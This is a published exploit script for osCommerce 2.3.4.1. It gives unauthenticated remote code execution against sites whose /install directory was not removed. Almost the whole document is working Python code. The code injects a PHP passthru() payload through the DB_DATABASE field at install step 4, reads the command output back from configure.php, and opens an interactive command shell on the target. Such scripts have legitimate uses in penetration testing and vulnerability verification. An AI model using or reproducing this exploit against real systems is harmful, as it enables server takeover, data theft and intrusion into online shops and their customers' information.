osCommerce 2.3.4.1 Remote Code Execution

`# Exploit Title: osCommerce 2.3.4.1 - Remote Code Execution (2)  
# Vulnerability: Remote Command Execution when /install directory wasn't removed by the admin  
# Exploit: Exploiting the install.php finish process by injecting php payload into the db_database parameter & read the system command output from configure.php  
# Notes: The RCE doesn't need to be authenticated  
# Date: 26/06/2021  
# Exploit Author: Bryan Leong <NobodyAtall>  
# Vendor Homepage: https://www.oscommerce.com/  
# Version: osCommerce 2.3.4  
# Tested on: Windows  
  
import requests  
import sys  
  
if(len(sys.argv) != 2):  
print("please specify the osCommerce url")  
print("format: python3 osCommerce2_3_4RCE.py <url>")  
print("eg: python3 osCommerce2_3_4RCE.py http://localhost/oscommerce-2.3.4/catalog")  
sys.exit(0)  
  
baseUrl = sys.argv[1]  
testVulnUrl = baseUrl + '/install/install.php'  
  
def rce(command):  
#targeting the finish step which is step 4  
targetUrl = baseUrl + '/install/install.php?step=4'  
  
payload = "');"  
payload += "passthru('" + command + "');" # injecting system command here  
payload += "/*"  
  
#injecting parameter  
data = {  
'DIR_FS_DOCUMENT_ROOT': './',  
'DB_DATABASE' : payload  
}   
  
response = requests.post(targetUrl, data=data)  
  
if(response.status_code == 200):  
#print('[*] Successfully injected payload to config file')  
  
readCMDUrl = baseUrl + '/install/includes/configure.php'  
cmd = requests.get(readCMDUrl)  
  
commandRsl = cmd.text.split('\n')  
  
if(cmd.status_code == 200):  
#print('[*] System Command Execution Completed')  
#removing the error message above  
for i in range(2, len(commandRsl)):  
print(commandRsl[i])  
else:  
return '[!] Configure.php not found'  
  
  
else:  
return '[!] Fail to inject payload'  
  
  
  
#testing vulnerability accessing the directory  
test = requests.get(testVulnUrl)  
  
#checking the install directory still exist or able to access or not  
if(test.status_code == 200):  
print('[*] Install directory still available, the host likely vulnerable to the exploit.')  
  
#testing system command injection  
print('[*] Testing injecting system command to test vulnerability')  
cmd = 'whoami'  
  
print('User: ', end='')  
err = rce(cmd)  
  
if(err != None):  
print(err)  
sys.exit(0)  
  
while(True):  
cmd = input('RCE_SHELL$ ')  
err = rce(cmd)  
  
if(err != None):  
print(err)  
sys.exit(0)  
  
else:  
print('[!] Install directory not found, the host is not vulnerable')  
sys.exit(0)  
  
`